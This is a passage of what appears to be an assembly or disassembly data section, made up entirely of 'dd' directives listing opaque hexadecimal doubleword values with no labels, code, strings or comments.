55A8365Bh, 6769C3Dh, 639B241Bh, 7E46500Fh, 4EC2502h dd 1CE922h, 0DBECED98h, 3E81A5FFh, 0D6674400h, 0E16220Bh dd 48A4A156h, 0F28CD0BCh, 80B85E21h, 40958C30h, 525417A7h dd 0EB239C4Ch, 301C2201h, 92182026h, 3F6B88h, 6F84271Ch dd 0C24CD77Dh, 79DEAD01h, 0A7AE1549h, 0C63E9840h, 0D1E4A89Ch dd 0C7391859h, 0F5E3114Fh, 71526800h, 0CCAB89C5h, 0E008CC9Dh dd 0ED008821h, 3F7A2B68h, 1136F9h, 0A977183Bh, 0AD8B2017h dd 0EF7DE474h, 617D5EF0h, 0F7741C7Ch, 0AE120E18h, 282A5780h dd 1E4B4A5h, 0DBBE40A6h, 483A59D2h, 6808F244h, 0C4ED7175h dd 0EA805EE1h, 8D48BC68h, 0DBB13FF2h, 6041A850h, 197258A4h dd 30E05ACDh, 81241501h, 2199A8F9h, 19CC1424h, 908E8A16h dd 0A081F66Ch, 4C8D29AFh, 58C3B8Ch, 715468F3h, 8A4828F5h dd 1368EB00h, 6BD6816Ah, 8227044Fh, 438B51F2h, 6A4BE0Eh dd 0E9299F70h, 350718B9h, 65258424h, 55CC9760h, 8E461257h dd 1414ECh, 401E923h, 3026321Ch, 6D889118h, 0D91C0E39h dd 24605A52h, 4B8353ACh, 3C81250h, 0DA39CE00h, 620C0657h dd 0B45112F4h, 925C40ADh, 0F88FCF8Ah, 0B046EB18h, 0F11436h dd 27177B66h, 550F402Ah, 8A30237Fh, 4350A09Ah, 0A552302Eh dd 6AFC2D8h, 50A84130h, 50FC58h, 3322F80Fh, 6B2D5CE8h dd 0AFE408C6h, 78D70F20h, 9600170Fh, 47D4F1Eh, 0E8E08448h dd 0A51D8CB1h, 2E41763Eh, 5425ACF2h, 0DAFECC50h, 3C91C0ABh dd 0A16CF4Eh, 9CB09363h, 484C3BFh, 1425449h, 0EDBC884Ah dd 1C20048Ch, 62D0263Eh, 56920B4h, 2A00BF1Ch, 65E71095h dd 25CA8A0h, 0C378775Fh, 8CB03CAFh, 0F23B0F76h, 0F022C622h dd 0F7EED00h, 6FAE2B7Ch, 389E1D03h, 0A12AC0B7h, 799CBA95h dd 0B9A25130h, 8A6D77h, 0F4F8FF73h, 5837610Bh, 0E05D0A31h dd 8052BDC8h, 0C1646DC2h, 0C5371072h, 17EAC025h, 0F018AC00h dd 5558B6D5h, 889D0056h, 4E6C603Fh, 0BC07B70Dh, 0AC3E8CE5h dd 23DFF527h, 3CD8D7A9h, 0F80EF30h, 35E491Ch, 561DF37Dh dd 0ED187CFBh, 1C081621h, 4970B91Ch, 0CE03C7C3h, 580CFFFAh dd 29E9D7A8h, 0CE60099h, 36D02A46h, 0F201527Bh, 4E348EC0h dd 2CF0C9CAh, 0BE5538ABh, 0B3D530E0h, 0E6000417h, 33CA1F12h dd 0C4137540h, 1C0602B8h, 0B80AEE4Eh, 18592031h, 11BABD42h dd 0B200B3D6h, 13B54030h, 0CC9D37D9h, 0F921D008h, 71B2AB00h dd 0F6B56E2Bh, 0D87918EAh, 9DCAB1E0h, 0CDF47500h, 0DBD01768h dd 54200C7Eh, 0B641DC5Eh, 2C18C274h, 78115C9Fh, 1698004Eh dd 0BAF96BE2h, 8CC33D9h, 279F2175h, 0BED49846h, 1E7A8900h dd 1BCB5E2Fh, 79E1D7B2h, 0EBEC62D0h, 75DA348h, 20E243BCh dd 5939E421h, 7AA649B8h, 7841948Ch, 2F22B28Eh, 1CAD40h dd 5EB2AAF8h, 0EEBB4C8Ch, 7124BA00h, 2C642FB3h, 5A8300FFh dd 0DD9D5DAh, 9801EC7Dh, 1BC67A5Eh, 4806F4E8h, 51C0BE79h dd 78017115h, 0AA550036h, 0FD5E7903h, 5C0E5B5Dh, 0C07B581Eh dd 4107D559h, 0F41C0F3h, 78B27A2Eh, 5CDB2106h, 69081970h dd 94822103h, 5440E97Ah, 88029A85h, 736876E0h, 50F4AA6Fh dd 0EC4674h, 0B2412940h, 0E4188A7Ah, 43DA3FD1h, 0B7FBC4Eh dd 0C5A785Eh, 0F16E18FBh, 0ADBEB450h, 7CAF4CF3h, 484C797Ah dd 0E793C10h, 68DB317Ah, 0CC6F959Fh, 300EC500h, 7921B4D6h dd 19C367F8h, 0A7DC39h, 0EA34F1E1h, 423BB318h, 2B5A4B3Eh dd 2D019006h, 1978B17Ah, 2F880518h, 0A120CE25h, 0A969A066h dd 78671D00h, 7FBD5449h, 1D1B7143h, 0C0FAEBA1h, 0B983C012h dd 4C12F4BEh, 1C08D4EFh, 0B2B6C245h, 26CDB041h, 1DD3221Ch dd 40B2AEFCh, 8370636Bh, 22004285h, 1916BB53h, 71BFBDh dd 84E8D9DAh, 2A0102Ah, 0EB071892h, 1D5BF654h, 93C56900h dd 8EC83EAEh, 6FFA5200h, 0B8620321h, 87FB421Ch, 0BF4ED403h dd 1914F0A6h, 7B63004Dh, 3FD6F392h, 0C00CC41h, 52B42173h dd 0A2A842h, 8EF858C7h, 0EA6953F2h, 0ED015A7Bh, 4542CB2h dd 34C011EFh, 0EB711D70h, 697900CBh, 0B3788DCh, 260F6A00h dd 8D0E2A72h, 41E007Ch, 0F9076397h, 6478F34Ch, 86299A00h dd 0BA321DFBh, 8121F2Bh, 0AA7546D1h, 4000598Fh, 0D5F5FFD3h dd 0E713D7h, 0D6C1A845h, 2E54CF8Eh, 0FB2F1600h, 6347F2CEh dd 38E51FBAh, 98AAC0D4h, 763056EEh, 64FD2300h, 7314324Fh dd 0ED2606C6h, 0D1CDC02Bh, 0E1E7C700h, 0D902A13Bh, 693F24F0h dd 43CA8008h, 0E4304220h, 0E5906F68h, 38A9540Ch, 64C0E83h dd 98FC6631h, 0DD3CC155h, 401EB479h, 0E880F88Ah, 6ED676A6h dd 93E77DBh, 0DEEB92BAh, 0F152A020h, 0D500E412h, 5D6DA83Ah dd 11BF25h, 67766114h, 0AF34C737h, 0BE033Ah, 1EC07108h dd 1295EFFh, 1790F74Ch, 0D453EA3Ah, 98C19BF1h, 1D5AE1A2h dd 0BBCDE0h, 0AF9A4549h, 81DA4663h, 8FACD200h, 0B62265E4h dd 35D100EAh, 99058374h, 6D006ED3h, 599DC427h, 87CE5Dh dd 0A984553h, 0FE0D7AF3h, 0E284770Eh, 67BB20B8h, 0ABE09Eh dd 0F6CE7850h, 0FACA6C82h, 0BADB4C00h, 0BE04A164h, 2F1207ABh dd 60EFEAAEh, 0D21B6230h, 0D5066500h, 2870E998h, 0F8777A48h dd 4E5C076Dh, 60B8FEFBh, 53AAF6E2h, 0BFB73100h, 427A548h dd 752A383Ah, 1C0265h, 5CC5D59h, 0EF1CBE9Ah, 3E407A6Fh dd 8179F8C1h, 0FFC30037h, 713B7B82h, 0C4003985h, 6C91D0FEh dd 9CC726h, 0A8C85359h, 0ED3562Eh, 0BD68D562h, 3812458h dd 0D8ECAA2Dh, 6733Fh, 0EE7E7CE7h, 0CA18C55Bh, 20E45E4h dd 8099D6D2h, 0BF387BAAh, 29A21EF9h, 50DEC090h, 0CE6BE511h dd 18A08D00h, 0B2EF44FCh, 0B5263A29h, 0C95EE380h, 0E019117Ch dd 3CB1DA00h, 0CCBA032Dh, 22662C6Eh, 0B9C00C94h, 6F06D93Ch dd 13BD1097h, 11222AEh, 6A6E5419h, 0E4405BDBh, 303EA1E0h dd 93DD899h, 0D5F4A932h, 2D71691Fh, 8500B6DEh, 0CD052582h dd 0FC0107FAh, 42FD6487h, 877F8BBEh, 0F9D3AD96h, 0B7E90067h dd 6596C906h, 8F18CC5Fh, 43BB683Eh, 2F4B61E6h, 0CC5E5610h dd 2500A1E7h, 0F6159344h, 0FE0C8A4Fh, 13E30045h, 2B89F267h dd 1F019D58h, 0AE8497Eh, 43D48EB1h, 8C4B00DCh, 50A8B3CCh dd 0FC00AA33h, 0E6F65BB6h, 0C00EF03Fh, 0EFAECAFBh, 600A7EBh dd 1D0C202Dh, 1F9B0D9Ah, 28A466h, 41689ECFh, 330329C8h dd 269CE5C6h, 52F0002Fh, 46A5E913h, 9AF6D215h, 0A4C5410Fh dd 0FBAFA003h, 5B483F9h, 34A52C7Fh, 2765C76h, 384AD1D7h dd 7F78E0C0h, 979D3900h, 3FE7293Ah, 0CD355491h, 791802D5h dd 1475D255h, 0C156C6A0h, 2C001F0Bh, 9ACD526Ah, 0FCF5E5Ah dd 92E93D8Eh, 182D2EC3h, 1D5D2C00h, 80A4AB29h, 0E7383081h dd 0A5211E19h, 69892430h, 372FAE5Eh, 2065C98Ah, 9EEDB129h dd 0C7E05D00h, 0DA4D61EEh, 0D2DD307Dh, 14B534FEh, 0DAA02328h dd 4885F200h, 4745B23Dh, 0F1E6015Bh, 9435B4ABh, 722580A3h dd 9699A405h, 9F2319D7h, 80B3100Ch, 0D815621Fh, 608EA60Fh dd 95D312A3h, 0A40355A1h, 0BB2063E6h, 69BCE0FFh, 54B700ECh dd 17C0C6E7h, 2303260Ah, 1CB5E586h, 49D09404h, 0A1545Ch dd 1E4B801Bh, 4D39238Fh dd 0A68A9700h, 7C6120A3h, 66D70336h, 0BF4BFC45h, 0CDBA0AB8h dd 181BC100h, 77D0577Bh, 0FEAF00F6h, 35502F01h, 93004D8Ah dd 0F2E8CC19h, 1E5FAEh, 3094B37Dh, 6D6ADFFBh, 73DC2F00h dd 3F120FEBh, 8C780022h, 4CF3B93Eh, 0CFFA6CCDh, 3AB8DC00h dd 1BAE7C4Dh, 0B0191998h, 0DC5619BFh, 0FC40F40h, 5C069C6h dd 5BA2E8h, 4CDFDD18h, 0BE0CF862h, 8079390Ch, 560B63Ah dd 8BEA3177h, 0B3EC4003h, 686E9DA7h, 96D92C01h, 81C05B61h dd 3457CCh, 25404E8Dh, 287341BAh, 6E2EA97Ah, 9B1C4B1Fh dd 9519C100h, 907CF76h, 55F27883h, 3B107BF5h, 4F06ED28h dd 0D082BA87h, 5B4F0214h, 58060424h, 0C781126h, 0FDBF5703h dd 0CA05E5F5h, 0BC747DF8h, 0E9FA54E4h, 5055C779h, 0DCF688Ch dd 5D5CA016h, 89070090h, 0A7F50869h, 3C5D73Ah, 884ED727h dd 0A08B5C32h, 0E57C7D53h, 6FE90054h, 74FFFC85h, 0FA631FB8h dd 0C8C503C0h, 1E3D97E0h, 409D5783h, 6B9B4E4Fh, 2D3D0416h dd 0C7E8007h, 0BD59A5ACh, 42C50960h, 0EB812F7Fh, 0DC394016h dd 0AE00AC17h, 0C5BFA14Bh, 7859256Dh, 0EF670062h, 0C18B75CFh dd 2105BD23h, 0EB05E20Ch, 572D501Ch, 0BD8B4010h, 91FDF4B5h dd 0FC09000Eh, 23CD6A9Ch, 0FEC00032h, 0DF188258h, 85188DA4h dd 60320E91h, 69B5188Bh, 0E88A0E29h, 0B1906126h, 6BCB4930h dd 3A20395Ch, 223CA187h, 1F0BF679h, 0A466A030h, 141E017Ch dd 0F621FB76h, 7DDE11Fh, 305E5F50h, 6C9255BEh, 0F5904127h dd 1C112017h, 6C8AEF96h, 1EB1BD01h, 3F6A05E2h, 16BC28A8h dd 2688038Ch, 0F0BF0FBCh, 6BBB424Fh, 197714A7h, 0FD0612AAh dd 0C9BF1116h, 0F18F01D1h, 83A88B15h, 6E6D75C0h, 9EFAA4C0h dd 545A310Fh, 11099FCh, 0F1E16650h, 0BD6BBC25h, 0FBAC59h dd 1C05081Eh, 66CED5D2h, 0F78A7150h, 54F28B34h, 1923DB3Ah dd 63052900h, 0DA39C03h, 1C01B523h, 52B0B0B4h, 0B58DBD89h dd 2D9411FCh, 6EAA5BE8h, 0AE4F0008h, 0A2AF6B2Ch, 7BA6E2C9h dd 49EE03BEh, 809D8D63h, 0FACF1395h, 97C0CFDAh, 0D5C25EDCh dd 89F38B03h, 2424FD8Dh, 0DE6BD3BBh, 5748EF02h, 0E0E7DA3Bh dd 0E82943B0h, 59046FD9h, 8923145Eh, 8C18F8h, 87101576h dd 0EAE9FCFEh, 0FF1C0869h, 1049C96Ch, 0A27E535Bh, 0A8B301Dh dd 866A0700h, 986956A0h, 0DE81031Eh, 7310C2F9h, 1861C7B4h dd 507D008h, 0D06F860Fh, 0C0D781CCh, 425C2601h, 9F99D8Bh dd 0B5892C83h, 0C13061Dh, 0C5FEE381h, 0A7A6BBE1h, 7A1D07B0h dd 0AB70E02h, 0A0FDB52Bh, 0BF08BB2h, 850F16DBh, 0ECCEBA97h dd 0EAC017C8h, 16A87175h, 58E9BD83h, 4C84EA15h, 0F418DCB5h dd 0CBB78500h, 0CFFFD56Dh, 0AF795BE9h, 4B2BB861h, 0A2A7C0h dd 3AD26B51h, 6E6FF76h, 8C1CEFE4h, 0C94F0411h, 0FA3338E9h dd 0C78D3AA9h, 5174D04Ch, 13295985h, 0BDBF6603h, 81A86039h dd 0B40769CEh, 207FDBBh, 0A5BB6165h, 6B1F0960h, 1BF8E7ACh dd 3877C8Ch, 92A92901h, 84188F99h, 0DD089F65h, 0F8D4811h dd 0CADABBD6h, 788852C0h, 6D0385E8h, 3E0423DFh, 0FEFFA181h dd 2B6B9DCBh, 7DC86C00h, 0BFCA8D2Ah, 718B7218h, 0E89DE9B4h dd 0EEDB4F8Ch, 938846Bh, 4A35BC8Bh, 0FBCDD106h, 99A7EB5h dd 4FFF8084h, 0DF5040BCh, 0A6587CECh, 1CD51051h, 9D896005h dd 0FF5894B9h, 0EC2BE4h, 2379AA48h, 4B01933Eh, 1E6E7600h dd 0D2965205h, 29E09861h, 0F1CF1621h, 18931817h, 0EE33791Ah dd 0E0830829h, 2C170BBFh, 8B71371Ch, 0E6778A0Fh, 48E93E86h dd 966FBEDAh, 3CD48800h, 21619529h, 0ED6BB081h, 3AB3B80Fh dd 0BF80F8C9h, 47629A02h, 7052E65Fh, 301DE227h, 0C40EE7F3h dd 42A665D7h, 0C0B981CFh, 59E4FFCCh, 47BC0A71h, 0C4740D0Bh dd 0F5360202h, 290E0B2Ah, 0F042428h, 0FC83D8B6h, 0BA36F1DFh dd 8F671C35h, 880884A1h, 21BFD60h, 0F4E78060h, 1F91FFC0h dd 0B8B6180h, 4E8C1C3h, 51804437h, 84AFBDBCh, 0B71209C4h dd 0E8FD85FEh, 0A54A99Bh, 3A114A9Dh, 0F76605D2h, 0C0269BE2h dd 7AF66191h, 56FC4829h, 1601B910h, 0DAFBD82Bh, 0F9D7C050h dd 1729C187h, 4207969h, 0CC0488BFh, 0E00EFAC6h, 5D5E5093h dd 0DD20A728h, 0B5FF2C1Dh, 31B749B0h, 8C72A680h, 0A55662Ah dd 3D858969h, 20EAA8CBh, 0BF030AB9h, 77826F7Fh, 0A6BE85B0h dd 598BB28Ch, 5E460050h, 5C6AC584h, 0A1917103h, 9AF5395Fh dd 0C499472Dh, 0A0866214h, 0CBFB1031h, 0D59D0081h, 47733F2Fh dd 537BAF02h, 4A69FE9Fh, 38BF0EA6h, 3C461121h, 1E83FC61h dd 6EE10270h, 31ACB5EDh, 879EC200h, 26BAC4ECh, 85AB92F8h dd 601CC427h, 0A02F70h, 9AFDC6D9h, 3DBE5872h, 1A5F3AC9h dd 0C06CEDCFh, 0BADCD3B3h, 8BF88E1Eh, 0AB35FF2Dh, 801AA881h dd 0F7702BEFh, 0E7A0820Bh, 1376BE66h, 2313B992h, 3D85B1B5h dd 0AC5A9811h, 0E76C0002h, 0B70FD577h, 585BF9FAh, 15C6BEBh dd 4148A94Fh, 0AB20A85Bh, 4E2C5105h, 11B1241h, 95E4FF04h dd 319F76AEh, 3D30F1D9h, 0B95E0024h, 3023D607h, 8E58AAB4h dd 0CFE49B07h, 3102C183h, 4CD8D78Dh, 0FD93B12h, 532F591Ah dd 46967022h, 6A61BD1Dh, 4515ADC0h, 41F18509h, 0D940600Fh dd 0E902B998h, 0C1B501ABh, 8054280Ah, 71D7206Fh, 0F62E0F1Ah dd 7FAD30C1h, 0DEC5470Ah, 368E6D4Ch, 200C6F89h, 15B32D79h dd 0A58D8904h, 815BA0D0h, 8AF302CFh, 0C32B49FEh, 0A2702453h dd 8702002Fh, 90B1D280h, 84B343Dh, 2D2B3C4Ch, 2CE934FCh dd 0E09BB60Dh, 15F351Bh, 19C4E16Dh, 6E7E474Fh, 0AA1272B9h dd 56A81EDEh, 0C2DABFD8h, 2EA1DEC0h, 0C5056EFFh, 803D51BCh dd 2BD5A404h, 5D85C701h, 0D993000Bh, 351952C1h, 403014E2h dd 48A6B860h, 680CD7CFh, 0E8CA613Dh, 6E290F60h, 0EB91CDAh dd 0FA1377B5h, 0CB20CF4Eh, 0FAE1265h, 2B028030h, 965F6160h dd 538570FBh, 289B0AD3h, 6A82C2C0h, 4A0456F3h, 1A8D9589h dd 9A85FF05h, 0C0198882h, 4170028Eh, 0BF483301h, 6A3AD272h dd 6004AE66h, 0A17D8D8Bh, 32CA308Dh, 9261A82Ch, 634D75CBh dd 208ECF61h, 12C61B20h, 3A90B7F3h, 0A1523B9h, 15E322ECh dd 38AC20F8h, 0BD1468B8h, 18721E71h, 0D69AC707h, 29374E9h dd 37A1B5EEh, 0BE605326h, 29155FFFh, 1293F195h, 0FF9BFB8Bh dd 42DD6D83h, 0B3410AECh, 26798EB1h, 0AAF0D517h, 0D1B0FAB6h dd 0BE02FFFEh, 850F9A26h, 0C7502408h, 0A118440h, 4674E05Eh dd 0F6D30217h, 40515C34h, 0D60A2D4Ah, 0D8DB024Fh, 52D530D2h dd 6A9E0076h, 2303F887h, 7600DAC8h, 0DFB8A45Fh, 0BD7484h dd 9665657h, 0FFF729E9h, 0F3F89EE3h, 0E7B9A02Dh, 748A71h dd 0B890376Bh, 8BCF4ABBh, 0A2BCC153h, 0B9433114h, 50520B6h dd 0BDC9D6BEh, 5B37E353h, 0AA980720h, 0A6DD00A9h, 798D73EDh dd 0B51A31CCh, 2F71411h, 22AC5E0h, 5B8012E8h, 8CBE252Eh dd 10013600h, 0ACD05A53h, 14657C74h, 9375CA23h, 5A2E42C0h dd 9600952Dh, 57558C73h, 7679CEBEh, 0B8878CFh, 5F9B9C5Bh dd 0F80065C6h, 2F58F681h, 2D901E07h, 8F8F5250h, 310F5FA1h dd 0BED9FF5Ah, 564AF87Fh, 0F5AE9064h, 6E4A5BE2h, 286A00D4h dd 0D772FDDh, 89361BA4h, 9E094AADh, 26E60771h, 2F6B2966h dd 60B5E53h, 0D350B341h, 0B0B724C5h, 0D71C8174h, 3E58AC1Dh dd 0BC8C0F4Ch, 2619622Ah, 82035B87h, 0A4DB185Dh, 6FA4EDA0h dd 7FEB81B4h, 66E0C367h dd 1853A7D7h, 0A0BB0C03h, 0E9313B74h, 1C89DC72h, 0ED38196h dd 0E6455680h, 5D63B70Ah, 2F2DA87Fh, 7DDE99E3h, 38961802h dd 0F73E6160h, 0B6716270h, 527B716Bh, 45C389BCh, 468F16A4h dd 0C8C49C22h, 8D1D1439h, 7AD5DD9Dh, 9BAC3FA9h, 9239302Dh dd 7A7BD55Eh, 0B658D870h, 0EBC79652h, 17C8168Eh, 0A9E6E8C0h dd 35E8C4A1h, 89F3C808h, 0B501305h, 28D09DB5h, 16BD835Fh dd 0D2E60620h, 7BF52864h, 2009D10Fh, 1C02C1B8h, 0E9B8010Eh dd 2021D981h, 353CFB35h, 58C18F8h, 0E56CC8F5h, 0D75A805Eh dd 0E92FA3A5h, 0E9BD5D4Dh, 0CD110700h, 984F9AD8h, 800AFE17h dd 2F0AEF81h, 6112C868h, 0BA5A114Eh, 7C92DC54h, 0F9EA2301h dd 5BF2861Ch, 0E35E0DCh, 83FE8D16h, 0EBDD9D67h, 0E0F54D57h dd 0E3458F0h, 8B1B0902h, 82339578h, 52AB9F3h, 0A15EC429h dd 0CA79683Ch, 0B70453E8h, 0C0EB8F48h, 3502C548h, 5FB33003h dd 0F8BE9E5Bh, 998A0F3Ah, 87283B41h, 165F5B75h, 0BC9AFA73h dd 8D0199C1h, 52FF96A5h, 1E91C91Ch, 7777225Ah, 0D015F3DDh dd 0BC5AD393h, 470D6A05h, 6A4B57B7h, 733E1Dh, 349CE675h dd 40AD8589h, 60E25007h, 0AB00ACA6h, 0B12FE754h, 729C552Bh dd 7805038Dh, 0CC93BB7Fh, 61605AC8h, 0FD9A5FE2h, 19F94EC4h dd 0AB2DE907h, 0E07E6D7Fh, 0B7498BAAh, 587F5F12h, 93E9600Bh dd 0D021B2AEh, 0B7B07022h, 0E1D6CDF4h, 34EAC5F4h, 0A45C3AABh dd 4700F218h, 0F92E132Bh, 7DB8E98h, 91E844CCh, 70E692FAh dd 8870BED3h, 0E54312D3h, 9D15028Bh, 0E4022341h, 27BF571h dd 4630858h, 845A1F54h, 3833A101h, 0B6E4BD6h, 0E7FF7D00h dd 7430A050h, 43A2D909h, 1D3E4F9h, 32A66EBFh, 6BC38B10h dd 0A6ACF5A9h, 43232C07h, 0BF3039B5h, 4FD8B175h, 29B9021Fh dd 0EF5CA585h, 313D8D41h, 2586C104h, 78610208h, 6974B5C9h dd 0C2AECD80h, 6E7F85h, 4467CA45h, 0FE8BEC25h, 0D82B5E00h dd 69E0EE81h, 50272713h, 0BAD01A03h, 4CE46CD0h, 2F03615Ch dd 14D3724h, 0F91B2736h, 37F96A03h, 0D392EB00h, 46120D6Dh dd 69DB7100h, 0CCDC2D2Bh, 85069797h, 5F5BED4Dh, 64F68674h dd 35060A0h, 21C83B5Ch, 0E9850506h, 3889B719h, 0ED6E4EB0h dd 27265500h, 36162C4Bh, 57A75B0Bh, 0BF6B8060h, 629D09DBh dd 31616595h, 0C83B9D79h, 10F7589Dh, 7C500941h, 3FF60581h dd 0B476AA6Ch, 9E86125Fh, 7E00D42Ah, 11633322h, 51FFEF1h dd 0D99D3144h, 5110F318h, 9F6C450Ch, 6AF0800Bh, 178988D9h dd 4CE791Fh, 1317C142h, 0EDBD9F80h, 6A28B632h, 7713915Bh dd 0B3889307h, 9EE06597h, 0A037C643h, 1EBBA296h, 448C6E94h dd 0F0DD8501h, 0EFB45F9Ch, 45F18B1Eh, 2D3958F8h, 0CE008FB8h dd 306EB0F8h, 0ED88060h, 35958B12h, 5348D915h, 0CC1FB516h dd 0CD8A432Bh, 0D227E0E3h, 149283BEh, 5BB90D40h, 237ABF07h dd 2DC8BC00h, 0BB8DD50Bh, 0B72756B6h, 4C01626h, 180BB12Dh dd 0B62C1DFEh, 47C46478h, 21259529h, 126254B2h, 440B16A9h dd 6FA64544h, 0ED008BEDh, 573E7FD5h, 0B102E5A1h, 0DE090B81h dd 0C4ECCD3Bh, 69716214h, 5B001D2Ah, 5F1FBE66h, 0B7A72B92h dd 6A0E006Dh, 95892D57h, 0B418C920h, 0A65AC94Ah, 77CB797h dd 406A72ACh, 393AD7E3h, 57E9FA2Fh, 0AF801694h, 0D082212Dh dd 0C9BF1654h, 0E853D2C3h, 2E00CEF9h, 0F26C1F56h, 525E0D9h dd 529341D0h, 0F7A2C3E4h, 705EB681h, 650444A7h, 85C72B34h dd 3707CFB9h, 7F3E40D5h, 13144545h, 0C4519B39h, 9A83ACBEh dd 0CE7E0B53h, 3167E563h, 0BE023E91h, 5F3DE4B1h, 2460F9DFh dd 8110B9Eh, 2AE1B65h, 99CB04D6h, 81CAA2F6h, 2A159D1Bh dd 0EF56CA73h, 0ACB47574h, 2CD97EBFh, 0CD267359h, 226E93Eh dd 80C690h, 92CF2037h, 4E1BC64Fh, 98945D03h, 0D217E463h dd 5B90275h, 0F8535E00h, 41B51A29h, 1B711307h, 0AE89FCB4h dd 51053768h, 138F0F0Dh, 0CF00111h, 2A7114ECh, 967BF16Eh dd 664CDC03h, 2BE91015h, 6E3FBE01h, 52510AC4h, 502018E0h dd 542D8D09h, 260A722h, 97BED181h, 4AC314FCh, 5E80BFB8h dd 613B9814h, 8C17B863h, 0C5F90500h, 85A9BFCDh, 0FE3E5BBEh dd 247BD96Bh, 1610A7Fh, 0F2C4C95h, 1E043EB7h, 82172335h dd 0CA9016C9h, 3D167ADEh, 0FF8595E9h, 0EFBD1E0Dh, 1136C1D9h dd 30CD79F0h, 0B0DD3B01h, 578C565Dh, 0BD6DE20h, 5E6E1476h dd 0BE5BF742h, 2636BBD8h, 7693A376h, 0DB161546h, 68E78D85h dd 0B9558079h, 21B98DCh, 41AD0428h, 934C95C6h, 3250C906h dd 0A6B57Fh, 2A05669Ah, 6A21E4A5h, 58E2904Ch, 235E255Bh dd 0E461DE5Bh, 6DB89DE9h, 0A42A5A3Fh, 9116BF27h, 0DBAF6F57h dd 598FC0A3h, 0B346C09h, 0FE295C82h, 0DDF5EA5Fh, 0C83E4AF9h dd 11492D07h, 9940F9FCh, 0F3E61268h, 3C803A38h, 7AD82DAFh dd 730CBB00h, 0F1392302h, 0BF73996h, 0BFEE626h, 446A4B63h dd 69E0DFCDh, 0B8DCB97h, 5DCE9A61h, 0C058F864h, 0B28E03A5h dd 902E9ECBh, 22AE61Bh, 0EECDF718h, 0B25114D9h, 918E27BBh dd 52C45028h, 0B8F1768Bh, 24042538h, 88C0ADEDh, 2B06DFCh dd 270F81CDh, 7D43F8AAh, 11D3B9A8h, 25B53316h, 0DB9C85FFh dd 2B8EDEE8h, 1AD7807Eh, 5B343835h, 0AE40FA2Eh, 48625408h dd 21B901F0h, 7656E725h, 2C6CA483h, 73E500DEh, 33965505h dd 890BD417h, 0CE1C75BDh, 70F6B500h, 8E18BF61h, 1BAC0479h dd 2B0B008Ch, 0C2CEB977h, 5704A365h, 1A61B589h, 0ADD3C3B4h dd 2C2D606Ch, 140BFDF0h, 0C6FEF42Eh, 0F88B0B1Eh, 0F76763E9h dd 26127208h, 0AF4CDE5Bh, 8DCF0BBEh, 9112C7ACh, 332F4E8Ah dd 520B1923h, 0F8C0D782h, 892FBD0Bh, 84331318h, 11B233Eh dd 0E1CF4535h, 0D132A96h, 15B296F6h, 0BCE5230h, 3261BD09h dd 0C1E6D5h, 4D6739D1h, 0DEDB30ADh, 0B4515503h, 90B52220h dd 5EF594F8h, 0EE56564Ch, 47A94BC4h, 645A2DB8h, 297288h dd 0A638574Fh, 0C3B5112h, 0BC50F300h, 5AD161B2h, 5EE27506h dd 175C04A1h, 2E313210h, 0F96887C9h, 675EE9F9h, 6E01A67Bh dd 31A92155h, 119C5B5h, 7CAD85C7h, 33E96598h, 0F4E5DCB7h dd 52B5C239h, 0BF89702Dh, 1381F88Bh, 4B992987h, 2992F4EAh dd 58F753F7h, 0BF05A636h, 55D14C56h, 9E853A84h, 0FA501DB7h dd 2D349449h, 0C0ED0089h, 0E546F5CBh, 0D5A6590h, 8819759Ch dd 4204B5BEh, 0FE8B06D7h, 8100F6B3h, 9057E1D6h, 19B2502Fh dd 0E9F28B0Bh, 60A06F38h, 7C09C9E2h, 4A89AD13h, 2DEF1301h dd 9039B0E5h, 0E62508BCh, 0C080ED70h, 7CEBEDEEh, 338B704h dd 0F4C801B5h, 0E411E18Ah, 0FDDA4171h, 97D73C03h, 281E846Eh dd 0BA2757ECh, 77BDF5CCh, 0EEBA814Dh, 2F61276h, 0AF9DBFA4h dd 0D43E39h, 0F7D0044Bh, 0CB39F4F1h, 4200F0B8h, 335730D9h dd 9CED9D89h, 0F224E7h, 79C64E8Ah, 912D82Bh, 89C275B5h dd 0B05ED850h, 0BD3DBA45h, 647AFCD6h, 0B514B11h, 7E292FFCh dd 0C8C5EA46h, 8F7AB0F8h, 85892C04h, 442AE15Dh, 6FEE161Bh dd 0F37A0084h, 0DD3B2E6h, 3A162D28h, 41A815A4h, 19398501h dd 6A4E1A27h, 0D5010E77h, 8BFCDA3Bh, 5DEFDF10h, 19471040h dd 3AE30978h, 55E0BB3Dh, 7DEB0FF7h, 40BB5B35h, 0DBD7CAF8h dd 0E01F7A47h, 0C112F522h, 0B5232945h, 3ACBF911h, 936E5AF7h dd 6116B103h, 3B808F8Dh, 0B3E2C681h, 271E0B24h, 19BD2902h dd 0CA20C05h, 85B1598Ah dd 0D2099589h, 0BAFB5869h, 1FBDF070h, 8AC466FBh, 2EE9DCh dd 0C2842DE3h, 8CC54EF3h, 3BB31B45h, 7E0BB32Eh, 0AC011446h dd 33BE66F8h, 9E376C22h, 1C47CC00h, 95C18355h, 0DD872337h dd 0F4501591h, 5B0F82DBh, 69F19981h, 0C352301Dh, 4BA59531h dd 7172D211h, 8C8B665Ch, 70E0D3D9h, 782CA008h, 762438D0h dd 0B0E29C2h, 0EB002659h, 3D8CBBFAh, 4B6E2D2Dh, 0AEBC5591h dd 0E0DEEB20h, 59920269h, 0F31C3436h, 3539E361h, 0AF6B6E4Fh dd 0DB001923h, 9CF6EBEFh, 0E2DEB064h, 7A5B8114h, 7B00D4FDh dd 3A1CED59h, 0A0F66590h, 0DEC32B24h, 0BBC100DEh, 0FE63EACDh dd 79B6E399h, 0E94727C4h, 0E6160E68h, 2937F129h, 0B60EB930h dd 105B6932h, 500F8550h, 8A20E25Bh, 534072FEh, 17DDA0h dd 0DCC150CEh, 0E822F8C0h, 0B1019BA4h, 4D6EB782h, 99D742AEh dd 0AB6D5F5Eh, 0E5950104h, 2B10A522h, 0B5BFF441h, 1A3D3B7Eh dd 0C63F68B8h, 420B805Eh, 0E89EB7B2h, 64B88B0Dh, 0E400ADB9h dd 0F02847A9h, 27B436D9h, 4B10602Fh, 7A00FED2h, 0FF968961h dd 7BE2CBC6h, 0B70F1FF4h, 0C0C233CAh, 14958DF8h, 369F349Dh dd 3A533A85h, 9D09F105h, 0B1B22151h, 0A0AEB6D3h, 5F5B0AE7h dd 0A26AA1Bh, 0C2D2D0Ch, 0B5AD7FE5h, 662F01F8h, 66E54FBFh dd 0FA743DEh, 0C0F415B2h, 3A827294h, 0EDC20106h, 0BD23DE17h dd 4812885h, 0E8FC905Fh, 1E3C12C8h, 845B7574h, 0EC5CEFF6h dd 905F26F4h, 0A95601DEh, 